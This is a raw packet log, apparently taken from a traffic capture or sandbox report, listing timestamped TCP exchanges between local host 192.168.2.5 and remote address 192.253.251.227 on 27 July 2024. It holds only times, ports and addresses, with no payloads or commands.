Jul 27, 2024 13:31:09.416619062 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.416652918 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.416671991 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.416687012 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.416722059 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.416738033 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.416755915 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.416789055 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.416805029 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.416826010 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.416858912 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.416874886 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.416891098 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.416924953 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.416939974 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.416958094 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.416990995 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.417007923 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.417025089 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.417076111 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.417392969 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.417427063 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.417460918 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.417478085 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.417495012 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.417529106 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.417557001 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.417561054 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.417593956 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.417608976 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.417629004 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.417661905 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.417695045 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.417721033 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.417727947 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.417745113 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.417768002 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.417799950 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.417819977 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.417835951 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.417869091 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.417891026 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.418385983 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.418437958 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.418441057 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.418473005 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.418505907 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.418518066 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.418549061 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.418559074 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.418571949 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.418593884 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.418606043 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.418622971 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.418637991 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.418672085 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.418704033 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.418708086 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.418737888 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.418752909 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.418771982 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.418816090 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.418823004 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.419260979 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.419294119 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.419318914 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.419327021 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.419359922 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.419384956 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.419393063 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.419442892 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.419445992 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.419477940 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.419511080 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.419528961 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.419543028 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.419574976 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.419589996 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.474790096 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.742027998 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.742075920 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.742136002 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.742628098 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.742707968 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.742743015 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.742759943 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.742844105 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.742877960 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.742894888 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.742965937 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.743016958 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.743041039 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.743069887 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.743120909 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.743612051 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.743663073 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.743696928 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.743714094 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.743824005 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.743860006 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.743872881 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.744036913 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.744087934 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.744138002 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.744172096 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.744220018 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.744287968 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.744319916 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.744373083 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.744445086 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.744503975 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.744546890 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.744553089 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.744580030 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.744632959 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.744710922 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.744746923 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.744793892 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.744869947 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.744904041 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.744937897 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.744951963 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.745109081 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.745143890 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.745162964 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.745177984 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.745230913 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.745248079 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.745276928 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.745320082 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.745373964 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.745408058 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.745455980 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.745534897 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.745565891 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.745598078 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.745616913 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.745639086 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.745687962 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.745724916 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.745759010 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.745790958 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.745807886 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.745824099 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.745872021 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.746068001 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.746100903 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.746134043 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.746150017 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.746162891 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.746196985 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.746212959 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.746231079 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.746303082 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.746388912 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.746422052 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.746454000 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.746470928 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.746606112 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.746639013 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.746655941 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.746673107 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.746701956 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.746723890 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.746942043 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.746975899 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.746994019 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.747013092 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.747047901 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.747062922 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.747082949 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.747112036 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.747129917 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.747147083 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.747179985 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.747209072 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.747519970 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.747551918 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.747574091 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.747587919 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.747621059 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.747642040 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.747654915 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.747687101 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.747703075 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.747719049 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.747751951 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.747785091 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.747791052 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.747838974 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.748094082 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.748128891 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.748162031 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.748174906 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.748195887 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.748229027 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.748260021 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.748262882 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.748296976 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.748312950 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.748331070 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.748377085 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.748603106 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.748652935 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.748686075 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.748703003 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.748717070 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.748750925 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.748764992 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.748785019 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.748819113 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.748830080 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.748847961 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.748882055 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.748894930 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.748915911 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.748949051 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.748970032 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.748980999 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.749015093 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.749027967 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.749047041 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.749078989 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.749098063 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.749108076 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.749142885 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.749151945 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.749176979 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.749226093 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.749583960 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.749614954 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.749648094 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.749669075 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.749680996 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.749712944 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.749732971 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.749747038 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.749779940 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.749794960 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.749814034 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.749841928 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.749861956 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.749874115 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.749907970 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.749926090 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.749942064 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.749974966 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.749989986 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.750006914 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.750040054 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.750058889 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.750068903 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.750102997 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.750113964 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.750138044 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.750164986 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.750199080 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.750579119 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.750613928 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.750633001 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.750647068 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.750679016 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.750694036 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.750711918 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.750744104 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.750761986 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.750777006 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.750806093 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.750823975 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.750839949 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.750871897 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.750889063 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.750900984 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.750935078 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.750941038 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.750967979 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.751015902 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.751147985 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.751182079 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.751211882 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.751229048 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.751240969 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.751274109 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.751288891 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.751307964 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.751355886 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.751378059 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.802911043 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.835350990 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.835449934 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.835484982 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.835517883 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.835551023 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.835582018 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.835589886 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.835589886 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.835618019 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.835632086 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.835777998 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.835829973 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.835874081 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.835908890 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.835957050 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.836055994 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.836090088 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.836123943 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.836138964 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.836158037 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.836213112 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.836683989 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.836734056 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.836766958 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.836781979 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.836895943 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.836929083 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.836946011 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.836962938 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.836994886 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.837011099 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:09.837230921 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:09.837285995 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:11.192339897 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:11.197834015 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:11.197877884 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:11.197905064 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:11.197906971 CEST	57484	49707	192.253.251.227	192.168.2.5
